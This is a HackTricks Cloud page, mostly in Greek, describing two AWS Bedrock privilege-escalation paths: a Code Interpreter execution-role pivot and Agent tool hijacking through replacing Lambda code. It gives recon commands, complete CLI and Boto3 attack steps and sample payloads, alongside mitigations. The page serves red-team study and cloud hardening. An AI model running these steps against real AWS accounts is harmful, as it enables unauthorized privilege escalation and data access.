AWS - Bedrock PrivEsc
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
Το AgentCore Code Interpreter είναι ένα managed execution environment. Custom Code Interpreters μπορούν να ρυθμιστούν με ένα executionRoleArn που «παρέχει permissions για το code interpreter να έχει πρόσβαση σε AWS services».
Αν ένα lower-privileged IAM principal μπορεί να start + invoke μια Code Interpreter session που έχει ρυθμιστεί με ένα more privileged execution role, ο caller μπορεί ουσιαστικά να pivot into the execution role’s permissions (lateral movement / privilege escalation ανάλογα με το εύρος του role).
Note
Αυτό είναι συνήθως ένα θέμα misconfiguration / excessive permissions (παροχή ευρέων permissions στο interpreter execution role και/ή παροχή broad invoke access). Το AWS προειδοποιεί ρητά να αποφεύγεται το privilege escalation, διασφαλίζοντας ότι τα execution roles έχουν ίσα ή λιγότερα privileges από τα identities που επιτρέπεται να κάνουν invoke.
Preconditions (common misconfiguration)
- Υπάρχει ένα custom code interpreter με execution role που έχει υπερβολικά πολλά privileges (π.χ. access σε sensitive S3/Secrets/SSM ή IAM-admin-like capabilities).
- Ένας user (developer/auditor/CI identity) έχει permissions για:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) Ο user μπορεί επίσης να δημιουργεί interpreters:
bedrock-agentcore:CreateCodeInterpreter(του επιτρέπει να δημιουργήσει έναν νέο interpreter με configured execution role, ανάλογα με τα org guardrails).
Recon (identify custom interpreters and execution role usage)
List interpreters (control-plane) and inspect their configuration:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
Η εντολή create-code-interpreter υποστηρίζει
--execution-role-arnτο οποίο ορίζει ποια AWS permissions θα έχει ο interpreter.
Βήμα 1 - Ξεκινήστε μια session (αυτό επιστρέφει ένα sessionId, όχι ένα interactive shell)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Βήμα 2 - Invoke code execution (Boto3 or signed HTTPS)
Δεν υπάρχει interactive python shell από το start-code-interpreter-session. Η εκτέλεση γίνεται μέσω InvokeCodeInterpreter.
Option A - Boto3 example (execute Python + verify identity):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Εάν το interpreter έχει ρυθμιστεί με execution role, το output του sts:GetCallerIdentity() θα πρέπει να αντικατοπτρίζει την ταυτότητα αυτού του role (όχι του low-priv caller), αποδεικνύοντας το pivot.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Επιπτώσεις
- Lateral movement μέσα σε οποιαδήποτε AWS πρόσβαση έχει το interpreter execution role.
- Privilege escalation αν το interpreter execution role είναι πιο privileged από τον caller.
- Πιο δύσκολος εντοπισμός αν τα CloudTrail data events για interpreter invocations δεν είναι ενεργοποιημένα (οι invocations μπορεί να μην καταγράφονται από προεπιλογή, ανάλογα με τη διαμόρφωση).
Mitigations / Hardening
- Least privilege στο interpreter
executionRoleArn(χειριστείτε το όπως τα Lambda execution roles / CI roles). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) και ποιος μπορεί να ξεκινά sessions. - Χρησιμοποιήστε SCPs για να deny το InvokeCodeInterpreter εκτός από approved agent runtime roles (η επιβολή σε επίπεδο org μπορεί να είναι απαραίτητη).
- Ενεργοποιήστε τα κατάλληλα CloudTrail data events για AgentCore όπου ισχύει· κάντε alert σε απρόσμενες invocations και δημιουργία sessions.
Amazon Bedrock Agents
lambda:UpdateFunctionCode, bedrock:InvokeAgent - Agent Tool Hijacking via Lambda
Τα Bedrock Agents μπορούν να χρησιμοποιούν Lambda-backed action groups ως tools (external execution). Αν ένας principal μπορεί να τροποποιήσει τον κώδικα μιας Lambda function που χρησιμοποιείται από ένα agent, και στη συνέχεια να invoke τον agent, μπορεί να εκτελέσει attacker-controlled code υπό το Lambda execution role.
Note
Αυτό είναι cross-service trust abuse (Bedrock → Lambda), όχι vulnerability. Ο attacker μπορεί να μην μπορεί να invoke τη Lambda απευθείας, αλλά μπορεί να την ενεργοποιήσει μέσω του agent.
Preconditions (common misconfiguration)
- Υπάρχει ένα Bedrock Agent με ένα action group backed by a Lambda function
- Ο attacker έχει:
lambda:UpdateFunctionCodebedrock:InvokeAgent- Το Lambda execution role έχει ευρύτερα permissions από τον attacker
- Ο attacker μπορεί να εντοπίσει τη Lambda που χρησιμοποιεί ο agent
Recon
Enumerate agent action groups:
aws bedrock-agent list-agents
aws bedrock-agent get-agent --agent-id <AGENT_ID>
aws bedrock-agent list-agent-action-groups --agent-id <AGENT_ID> --agent-version DRAFT
Επιθεώρηση Lambda:
aws lambda get-function --function-name <FUNCTION_NAME>
Εκμετάλλευση
Αντικατάσταση κώδικα Lambda:
zip payload.zip lambda_function.py
aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
Παράδειγμα payload:
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
Trigger μέσω agent:
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
--agent-alias-id <ALIAS_ID> \
--session-id test \
--input-text "trigger tool"
Επιπτώσεις
- Privilege escalation στο Lambda execution role
- Data exfiltration από AWS services
- Cross-service abuse μέσω trusted agent execution
Μετριασμοί
- Restrict
lambda:UpdateFunctionCode - Χρησιμοποιήστε least-privilege Lambda roles
- Monitor αλλαγές στον Lambda code
- Audit το Bedrock agent tool usage
References
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
- SoftwareSecured: AWS Privilege Escalation Techniques (Bedrock agent tool hijacking)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
HackTricks Cloud

